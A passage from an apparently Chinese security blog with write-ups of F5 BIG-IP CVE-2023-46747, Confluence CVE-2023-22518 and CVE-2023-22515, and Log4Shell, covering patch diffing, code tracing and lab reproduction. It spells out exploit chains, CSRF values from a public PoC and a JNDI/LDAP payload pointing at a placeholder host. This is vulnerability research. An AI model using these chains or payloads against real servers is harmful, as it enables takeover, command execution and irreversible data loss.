<p>全版本</p> <h2>环境搭建</h2> <p>直接<a href="https://my.f5.com/manage/s/downloads?productFamily=BIG-IP&amp;productLine=big-ip_v15.x&amp;version=15.1.8&amp;container=Virtual-Edition&amp;files=BIGIP-15.1.8-0.0.7.ALL-vmware.ova&amp;locations=JAPAN">下载</a>镜像用vmware启动即可。</p> <p>默认账号密码为:admin/default</p> <h2>漏洞分析&amp;&amp;复现</h2> <p>通过官方的修复补丁可以看出来和权限验证相关,并且修改了<code>proxy_ajp_conf</code>文件中的内容,再结合已有信息推测这是一个AJP走私问题(然而就在初步验证成功的时候chen师傅发了一句话……)</p> <p>![image-20231030183353275](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030183353275.png)</p> <p>擦,点开一看竟然是poc,看了下poc和/usr/share/tomcat/conf/server.xml</p> <p>![image-20231030183853806](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030183853806.png)</p> <p>省了很多事,这下确定了是AJP走私的问题,因为BIG-IP的Apache是基于Apache 2.4.6的定制版,所以也会受AJP走私的影响。</p> <p>AJP走私大家并不陌生,比如ghostcat和CVE-2022-26377这类的漏洞就是AJP走私造成的,那么接下来的利用就比较简单了:</p> <ol> <li> <p>在BIG-IP的历史漏洞<a href="https://xz.aliyun.com/t/11418#toc-7">CVE-2022-1388</a>中得知,我们可以从<code>/mgmt/tm/util/bash</code>来执行命令,但是当时是基于<code>X-F5-Auth-Token</code>权限的绕过,那么既然权限绕过已经修复了,我们就需要一个可以通过认证的<code>X-F5-Auth-Token</code>,那么也就是需要创建一个管理员用户。</p> </li> <li> <p>那么创建账户这个问题就来到了tmui上,我们通过AJP走私到<code>/tmui/Control/form</code>调用<code>/tmui/system/user/create.jsp</code>来创建一个新的用户。</p> </li> <li> <p>参考<a href="https://clouddocs.f5.com/products/big-iq/mgmt-api/v5.4/ApiReferences/bigiq_api_ref/r_auth_login.html">官方文档</a>的方式,创建完新的用户之后就可以通过<code>/mgmt/shared/authn/login</code>然后返回第一步来执行命令。</p> <p>![image-20231030230918856](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030230918856.png)</p> </li> </ol> <p>流程概括下来就是:通过<code>/tmui/Control/form</code>来调用<code>user/create.jsp</code>然后从<code>/mgmt/shared/authn/login</code>获取新的token,最后在<code>/mgmt/tm/util/bash</code>执行命令。</p> <p>这其中有一个需要注意的点:</p> <p>tmsh中进行了csrf检测,所以在第一步调用的时候需要构造好三个参数<code>_timenow</code> <code> Tmui-Dubbuf</code>和<code>_bufvalue</code>,满足<code>_bufvalue</code>的值等于<code>Tmui-Dubbuf</code>+<code>Tmui-Dubbuf</code>。</p> <p>![image-20231030221855165](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030221855165.png)</p> <p>在nuclei给的poc中用的是 <code> Tmui-Dubbuf</code>=BBBBBBBBBBB、<code>_timenow</code>=a、<code>_bufvalue</code>=eIL4RUnSwXYoPUIOGcOFx2o00Xc=</p> <p>![image-20231030223436120](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030223436120.png)</p> <p>我们也使用这三个键值对进行构造,那么最后得到的poc就是:</p> <p>![](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030225639449.png)</p> <p>使用<code>Transfer-Encoding: chunked</code>时,会使用分块传输编码,第一个204就是trunk size的大小,用十进制转换为十六进制后对应516,也就是我们走私请求的长度,最后的0表示结尾,如果不是用https看到的明文如下:</p> <p>![](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030225723604.png)</p> <p>这个步骤需要多试几次,不一定第一次就成功,发现返回的不是登录界面后就可以进行下一步了:</p> <p>通过账号密码获取到token的值。</p> <p>![](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030225832110.png)</p> <p>然后执行命令:</p> <p>![image-20231030225947658](./CVE-2023-46747 F5 BIG-IP RCE/image-20231030225947658.png)</p> CVE-2023-22518 Critical Privilege Escalation Vulnerability in Atlassian's Confluencehttps://springkill.github.io/posts/cve-2023-22518-critical-privilege-escalation-vulnerability-in-atlassian-s-confluence/https://springkill.github.io/posts/cve-2023-22518-critical-privilege-escalation-vulnerability-in-atlassian-s-confluence/Tue, 07 Nov 2023 00:00:00 GMT<h2>漏洞描述</h2> <p>在Confluence中存在权限验证漏洞,攻击者可以通过发送而已请求来获取服务器权限,造成远程命令执行。</p> <p>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p> <p>!!!!注意,测试该漏洞会导致数据不可逆损失,如需测试漏洞请一定要使用测试环境!!!!</p> <p>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p> <h2>漏洞分析</h2> <p>和上次一样,老样子diff一下:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231031183007793.png" alt="" /></p> <p>修改很多,不过最引人注目的还是很多class文件都新增了两个注解,看起来就是对权限做了处理:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231031183544278.png" alt="image-20231031183544278" /></p> <p>那么就来了解下什么是<code>websudo</code>:</p> <pre><code>WebSudo 是 Atlassian Confluence中的一项安全特性。它的目的是确保用户在执行一些敏感操作之前重新验证自己的凭据,以提高系统的安全性。 当一个已登录的用户试图进行一些可能对系统有重大影响的操作,例如更改系统设置、安装插件等,Confluence 会要求该用户重新输入密码来确认他们的身份。这种再次确认身份的机制称为 WebSudo。 因为和sudo很像,所以就叫了websudo。 </code></pre> <p>看来关键点就在权限上了,再根据长亭的通告,因为confluence滥用了struts的继承关系,所以导致了部分权限绕过,并且漏洞利用会导致数据丢失。</p> <p>在diff代码的时候看到了如下内容,最开始的思路是直接通过<code>bootstrap</code>来把<code>confluence</code>的数据库切换到自己的数据库上(当然当时我并不了解confluence的bootstrap是干嘛的),走了弯路,后来想了想这样的话也不会丢失数据无法恢复,应该是一种覆盖的操作才对:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102142344827.png" alt="image-20231102142344827" /></p> <p>既然说到了权限问题,这里可以简单了解下:</p> <p>https://struts.apache.org/core-developers/namespace-configuration</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231101024742977.png" alt="image-20231101024742977" /></p> <p>实际上<code>confluence</code>不光是会去<code>defualt</code>来进行检查,而是会去被继承的<code>namespace</code>逐层递归到<code>default</code>,所以寻找继承了<code>admin</code>的<code>namespace</code>最后发现<code>struts.xml</code>中有这么一段:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102135950080.png" alt="image-20231102135950080" /></p> <p>说明<code>json</code>的命名空间可以进行递归到admin,也就是通告中说的滥用继承关系导致部分权限绕过。</p> <p>那么接下来就明了了,只需要寻找能够破坏数据的功能就可以了,实在是不想看官方文档,让我们感谢人工智能:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102143252681.png" alt="" /></p> <p>很好,接下来就可以去confluence里面看备份相关的东西了:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102143651277.png" alt="image-20231102143651277" /></p> <p>经过了几次创建和还原可以确定这里确实能够还原admin的密码(毕竟是备份)。</p> <p>直接创建一个备份并且下载下来,然后去搜索restore相关的action,最终在不断地尝试下定位到了一个action:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102143924658.png" alt="image-20231102143924658" /></p> <p>尝试用<code>json</code>命名空间去访问这个action,得到了一些有趣的东西(注意这里要用POST进行访问):</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102144319982.png" alt="image-20231102144319982" /></p> <p>看到下面是我创建的很多备份文件,但是这里其实是有坑的,在直接构造一个文件上传包的时候,对面返回的相应是这样的:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102144656162.png" alt="image-20231102144656162" /></p> <p>很奇怪,我明明创建的是<code>site</code>的包,为什么说我尝试恢复<code>space</code>,又创建了几个无果后,觉得还是要去看看代码,直接搜索提示语:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102144818992.png" alt="image-20231102144818992" /></p> <p>然后进入<code>SetupRestoreAction.class</code>下个断点,可以看到导致这个问题的原因是<code>validate()</code>方法检验了一下<code>exportScope</code>是否是<code>ALL</code>,但是我们创建的是<code>SITE</code>好家伙,这哪有ALL的包啊:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102152808970.png" alt="image-20231102152808970" /></p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102150744866.png" alt="" /></p> <p>(其实在这里直接改成ALL应该接可以了)</p> <p>但是我想找到根本原因,问题只能是出在备份的时候了,发现在confluence的备份中其实只有两个选项:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102154048341.png" alt="image-20231102154048341" /></p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102154111144.png" alt="image-20231102154111144" /></p> <p>这个时候就要用另一个接口了:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102161124328.png" alt="image-20231102161124328" /></p> <p>在登陆状态下访问<code>json/backup.action</code>然后生成的被分包所带的是<code>ALL</code>标签,再次构造包:</p> <p><img src="./CVE-2023-22518-Critical-Privilege-Escalation-Vulnerability-in-Atlassian-s-Confluence/image-20231102161312582.png" alt="image-20231102161312582" /></p> <p>可以看到跳转地址和struts.xml写的一样,这里要注意<code>synchronous=true</code>的设置,发送完包后等待一小会儿,就会将备份导入,当然原先设置好的管理员账号密码也会被备份中的内容覆盖。</p> <h2>RCE</h2> <p>参考历史漏洞即可RCE,老生常谈,不过多说啦。</p> CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluencehttps://springkill.github.io/posts/cve-2023-22515-critical-privilege-escalation-vulnerability-in-atlassians-confluence/https://springkill.github.io/posts/cve-2023-22515-critical-privilege-escalation-vulnerability-in-atlassians-confluence/Wed, 18 Oct 2023 00:00:00 GMT<h2>漏洞描述</h2> <p>CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence 是 Atlassian 公司开发的一款团队合作软件,主要用于团队成员共享知识、协作文档和集中存储资料。它广泛应用于各种组织中,不仅是技术团队,还有其他任何需要文档合作或知识共享的团队。</p> <p>在8.0.0&lt;CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence&lt;8.2.3、CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence&lt;8.3.3、CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence&lt;8.4.3、CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence&lt;8.5.2中存在权限提升漏洞,导致任意用户可以创建新的管理员账户。</p> <h2>漏洞分析</h2> <p>既然已经修复过了,就按照老样子,分析一下差异,我这里直接用了8.5.1和8.5.2版本的jar来进行分析:</p> <p>![image-20231012132908575](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012132908575.png)</p> <p>首先重要的变化就是删除和新增了几个类:</p> <p>删除:</p> <p><code>ServerInfoAction</code>类</p> <p><code>ServerInfoFilter</code>类</p> <p>新增:</p> <p><code>ReadOnlyApplicationConfig</code>类 <code>ReadOnlySetupPersister</code>类 主要是新增的两个类,可以看到两个<code>ReadOnly</code>都继承自原有的类,可以看作是一种“增强”,当使用setter的时候,抛出一个<code>UnsupportedOperationException</code>来拒绝修改,这样就将类变为只读来规避某些风险。</p> <p>具体就是在<code>BootstrapStatusProviderImpl</code>的修改中体现的,将原先的<code>this.delegate.getApplicationConfig();</code>改为<code>return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());</code></p> <p>![image-20231012141836976](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012141836976.png)</p> <p>那么接下来需要做的就是如何设置这些属性呢?查看<code>interceptors</code>,和官方的描述,这个<code>SafeParametersInterceptor</code>引起了我的注意:</p> <p>![](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012194917943.png)</p> <p>![image-20231012153302736](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012153302736.png)</p> <p>把表单内容注入到<code>action properties</code>,那么八九不离十就是这玩意了,里面都是一些安全检查相关的,尤其是检查<code>@ParameterSafe</code>这个注解,并且有这么一段<code>doInterceptor</code>:</p> <p>![image-20231012195013625](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012195013625.png)</p> <p>这下可好了,那么就直接去看父类,但是点了一下竟然提示我<code>Cannot find declaration to go to</code>由于比较懒,直接上google搜索一下文档,然后上Github翻源码去了:</p> <p>![image-20231012161818082](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012161818082.png)</p> <p>![image-20231012160933343](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012160933343.png)</p> <p>看到了具体源码后就明白了,前面获取<code>action</code>信息后仅仅判断了<code>NoParameters</code>就进行了<code>setParameters</code>,这就很明了了:</p> <p>![image-20231012162618100](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012162618100-1697122530365-2.png)</p> <p>struts系列的漏洞处理流程interceptor—Action</p> <p>这段XML配置定义了一个名为<code>params</code>的拦截器,并指定了该拦截器的具体实现类为<code>com.atlassian.xwork.interceptors.SafeParametersInterceptor</code></p> <p>![image-20231012173735463](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012173735463.png)</p> <p>然后就是寻找触发点,直接搜索<code>params</code>,看来确实有所发现:</p> <p>![image-20231012173531182](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012173531182.png)</p> <p>![image-20231012173550112](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012173550112.png)</p> <p>![image-20231012204057094](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012204057094.png)</p> <p>看了看所有的<code>stack</code>,只要下面的<code>action</code>用的不是<code>setupStack</code>就都可以使用,多试试应该就可以了(我尝试后发现只有<code>validatingStack</code>或者什么都不写的用默认的才可以成功,其他的可以进倒是,但是没法创建用户,不知道为啥):</p> <p>![image-20231012204203122](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012204203122.png)</p> <p>到这里漏洞分析就结束了。</p> <h2>漏洞复现</h2> <p>先弄个环境:</p> <p>![image-20231012114259263](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012114259263.png)</p> <p>![image-20231012163733457](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012163733457.png)</p> <p><code>sqlserver</code>版本太低,直接放弃复现(不是</p> <p>最后选择弄个<code>PostgreSQL</code>来代替吧:</p> <p>![image-20231012172942216](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012172942216.png)</p> <p>然后就成功进入初始界面了,打开bp,然后浏览器访问<code>/setup/setupadministrator-start.action</code>发现已经没办法进入注册流程了:</p> <p>![](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012204451547.png)</p> <p>覆盖属性后刷新,发现已经可以重新设置管理员了:</p> <p>![](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012210036843.png)</p> <p>新建完成,查看结果:</p> <p>![image-20231012205136650](./CVE-2023-22515 Critical Privilege Escalation Vulnerability in Atlassian's Confluence/image-20231012205136650.png)</p> <p>关于RCE已经有师傅提到了,我打算再看看有没有什么更加方便的方式,如果有发现再发文。</p> Log4Shellhttps://springkill.github.io/posts/log4shell/https://springkill.github.io/posts/log4shell/Thu, 28 Sep 2023 00:00:00 GMT<p>配套代码在:<a href="https://github.com/springkill/top50vulns_2023">top50vulns_2023</a>配合食用更佳!</p> <h2>漏洞成因</h2> <p>本漏洞是因为log4j官方提供了一个名为<a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Message Lookup Substitution</a>的功能,此功能会动态地获取某些内容: 如字符串<code>Running ${java:runtime}</code>会被解析为<code>Running Java version 1.8xxx</code>.</p> <p>官方文档中对此的部分描述如下:</p> <p>The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the <code>java:</code> prefix.</p> <p>使用如下内容可以检索Java相关信息:</p> <table> <thead> <tr> <th>Key</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>version</td> <td>The short Java version, like:<code>Java version 1.7.0_67</code></td> </tr> <tr> <td>runtime</td> <td>The Java runtime version, like:<code>Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation</code></td> </tr> <tr> <td>vm</td> <td>The Java VM version, like:<code>Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode)</code></td> </tr> <tr> <td>os</td> <td>The OS version, like:<code>Windows 7 6.1 Service Pack 1, architecture: amd64-64</code></td> </tr> <tr> <td>locale</td> <td>System locale and file encoding information, like:<code>default locale: en_US, platform encoding: Cp1252</code></td> </tr> <tr> <td>hw</td> <td>Hardware information, like:<code>processors: 4, architecture: amd64-64, instruction sets: amd64</code></td> </tr> </tbody> </table> <p>同时官方也提供了JNDI功能来调用远程方法:</p> <h3>JNDI Lookup</h3> <p>As of Log4j 2.17.0 JNDI operations require that <code>log4j2.enableJndiLookup=true</code> be set as a system property or the corresponding environment variable for this lookup to function. See the <a href="https://logging.apache.org/log4j/2.x/manual/configuration.html#enableJndiLookup">enableJndiLookup</a> system property.</p> <p>The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.</p> <p>The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).</p> <p>使用如下方式开启JNDI检索:</p> <pre><code>&lt;File name="Application" fileName="application.log"&gt; &lt;PatternLayout&gt; &lt;pattern&gt;%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n&lt;/pattern&gt; &lt;/PatternLayout&gt; &lt;/File&gt; </code></pre> <p>也正是提供了JNDI查找的功能,导致了漏洞的出现。</p> <p>当<code>JNDI</code>与 <code>LDAP</code> 协议搭配使用时,将从远程源获取指定的 Java 类并将其反序列化,在此过程中执行该类的一些代码,造成反序列化攻击。 payload形式例如:<code>${jndi:ldap://ip:port}</code></p> <h2>漏洞分析&amp;&amp;复现</h2> <p>先写一个demo来实现log4Shell。</p> <p>在log4j2中存在一个接口名为StrLookup:</p> <pre><code>package org.apache.logging.log4j.core.lookup; import org.apache.logging.log4j.core.LogEvent; public interface StrLookup { String CATEGORY = "Lookup"; String lookup(String key); String lookup(LogEvent event, String key); } </code></pre> <p>当在log4j2中使用了如<code>${prefix:key}</code>的类型时,就会调用相应的<code>StrLookup</code>。</p> <p>这个接口被以<code>Map&lt;String,StrLookup&gt;</code>的方式封装在了<code>Interpolator</code>中,可以在项目代码的<code>断点1</code>处打断点观察封装在<code>Interpolator</code>内部的<code>StrLookup</code>:</p> <pre><code>public Interpolator(final Map&lt;String, String&gt; properties) { this.strLookupMap = new HashMap(); this.defaultLookup = new MapLookup((Map)(properties == null ? new HashMap() : properties)); this.strLookupMap.put("log4j", new Log4jLookup()); this.strLookupMap.put("sys", new SystemPropertiesLookup()); this.strLookupMap.put("env", new EnvironmentLookup()); this.strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON); this.strLookupMap.put("marker", new MarkerLookup()); this.strLookupMap.put("java", new JavaLookup()); this.strLookupMap.put("lower", new LowerLookup()); this.strLookupMap.put("upper", new UpperLookup()); try { this.strLookupMap.put("jndi", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class)); } catch (Exception | LinkageError var9) { this.handleError("jndi", var9); } try { this.strLookupMap.put("jvmrunargs", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup", StrLookup.class)); } catch (Exception | LinkageError var8) { this.handleError("jvmrunargs", var8); } this.strLookupMap.put("date", new DateLookup()); this.strLookupMap.put("ctx", new ContextMapLookup()); if (Constants.IS_WEB_APP) { try { this.strLookupMap.put("web", Loader.newCheckedInstanceOf("org.apache.logging.log4j.web.WebLookup", StrLookup.class)); } catch (Exception var7) { this.handleError("web", var7); } } else { LOGGER.debug("Not in a ServletContext environment, thus not loading WebLookup plugin."); } try { this.strLookupMap.put("docker", Loader.newCheckedInstanceOf("org.apache.logging.log4j.docker.DockerLookup", StrLookup.class)); } catch (Exception var6) { this.handleError("docker", var6); } try { this.strLookupMap.put("spring", Loader.newCheckedInstanceOf("org.apache.logging.log4j.spring.cloud.config.client.SpringLookup", StrLookup.class)); } catch (Exception var5) { this.handleError("spring", var5); } try { this.strLookupMap.put("kubernetes", Loader.newCheckedInstanceOf("org.apache.logging.log4j.kubernetes.KubernetesLookup", StrLookup.class)); } catch (Exception var3) { this.handleError("kubernetes", var3); } catch (NoClassDefFoundError var4) { this.handleError("kubernetes", var4); } } </code></pre> <p><img src="./Log4Shell/image-20230928013525232-1695897805957-1-1695899839737-41.png" alt="image-20230928013525232" /></p> <p>当<code>${prefix:key}</code>中的<code>prefix</code>不为空的时候,<code>Interpolator</code>中的<code>lookup</code>方法就会去调用<code>prefix</code>对应的<code>StrLookup</code>的<code>lookup</code>方法去查询key所对应的内容,当<code>prefix</code>为<code>jndi</code>的时候就造成了JNDI注入:</p> <p><img src="./Log4Shell/image-20230928020051845-1695897805957-2-1695899839737-42.png" alt="image-20230928020051845" /></p> <p><img src="./Log4Shell/image-20230928020841071-1695897805957-3-1695899839737-43.png" alt="image-20230928020841071" /></p> <p>本次漏洞关键在于转换器名称<code>msg</code>对应的插件实例<code>MessagePatternConverter</code>对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。<code>MessagePatternConverter</code>会将日志中的消息内容为<code>${prefix:key}</code>格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。</p> <p>详细流程如下,当log4j开始进行处理的时候,<code>AbstractOutputStreamAppender</code>类的<code>directEncodeEvent</code>方法先获取当前使用的布局,并调用对应的<code>encode</code>方法:</p> <p><img src="./Log4Shell/image-20230928125229635-1695899839732-24.png" alt="image-20230928125229635" /></p> <p>进入默认布局<code>PatternLayout</code>类的<code>encode</code>方法,<code>encode</code>调用<code>toText</code>:</p> <p><img src="./Log4Shell/image-20230928125540683-1695899839732-25.png" alt="image-20230928125540683" /></p> <p>toText中会获取对应的<code>serialize</code>r然后调用<code>serializer</code>的<code>toSerializable</code>方法</p> <p><img src="./Log4Shell/image-20230928125705420-1695899839732-26.png" alt="image-20230928125705420" /></p> <p>随后进入<code>toSerializable</code>后会在循环中使用合适的<code>converter</code>来处理传入的内容:</p> <p><img src="./Log4Shell/image-20230928135519938-1695899839732-27.png" alt="image-20230928135519938" /></p> <p><img src="./Log4Shell/image-20230928140306447-1695899839732-28.png" alt="" /></p> <p>继续往下跟进的时候会看到在<code>MessagePatternConverter</code>类中对传入的<code>${prefix:key}</code>进行了处理,</p> <p><img src="./Log4Shell/image-20230928141108185-1695899839732-29.png" alt="image-20230928141108185" /></p> <p>细心的师傅们可能看到了offset=68和count=99这样的差别,中间差了31位的长度:</p> <p><img src="./Log4Shell/image-20230928141812113-1695899839732-30.png" alt="image-20230928141812113" /></p> <p><img src="./Log4Shell/image-20230928141752845-1695899839732-31.png" alt="image-20230928141752845" /></p> <p>这是因为在经过了<code>formatTo</code>方法后截取了<code>${prefix:key}</code>的值,所以长度减少了,我这里是31:</p> <p><img src="./Log4Shell/image-20230928142544264-1695899839733-32.png" alt="image-20230928142544264" /></p> <p><img src="./Log4Shell/image-20230928142701509-1695899839733-33.png" alt="image-20230928142701509" /></p> <p><img src="./Log4Shell/image-20230928142939212-1695899839733-34.png" alt="image-20230928142939212" /></p> <p><img src="./Log4Shell/image-20230928143110502-1695899839733-35.png" alt="image-20230928143110502" /></p> <p>那么log4j截取这部分的内容做什么呢,走到这段<code>if</code>的最后流程,是一个<code>append</code>(当然前面还有个<code>substring</code>),要append的内容就要由log4j去查找了,剩下的上面已经说过了,选取合适的<code>StrLookup</code>的<code>lookup</code>方法去查询<code>key</code>所对应的内容,最终调用<code>JndiMananger</code>中的<code>lookup</code>后调用到<code>ldap</code>的<code>lookup</code>:</p> <p><img src="./Log4Shell/image-20230928150520456-1695899839733-36.png" alt="image-20230928150520456" /></p> <p><img src="./Log4Shell/image-20230928145907568-1695899839733-37.png" alt="image-20230928145907568" /></p> <p><img src="./Log4Shell/image-20230928150108133-1695899839733-38.png" alt="image-20230928150108133" /></p> <p>这个时候我们启动一个恶意的JNDI服务,并替换地址:</p> <p><img src="./Log4Shell/image-20230928182725540-1695899839733-39.png" alt="image-20230928182725540" /></p> <p><img src="./Log4Shell/image-20230928183008647-1695899839733-40.png" alt="image-20230928183008647" /></p> <h2>关于绕过</h2> <p>rc1的修复可以被绕过,但是需要开发人员手工开启<code>log4j2.formatMsgLookups=true</code>又或者配置文件中自己写<code>%msg{lookups}%n"</code>类似的布局模式,但是对于学习来说还是有意义的,所以简单说下,对于开启了这些配置的log4j2-rc1,其内部仍然加了一些白名单和其他的严格检测,但是如果抛出了<code>URISyntaxException</code>异常,那么就会绕过这些限制,catch异常后重新进入前面JNDI注入的流程。</p> <p>具体的修复在<a href="https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658">这里</a>感兴趣的可以去看下,因为流程基本一样,所以这里就不做复现了。</p> <p><img src="./Log4Shell/image-20230928191702796.png" alt="" /></p> <p>关于WAF基本的思路就是利用log4j的迭代解析进行poc构造,不过貌似现在大家都能防住了。</p> <p>关于高版本JDK的绕过思路,可以通过 <code>org.apache.naming.factory.BeanFactory</code> 等类进行绕过。</p>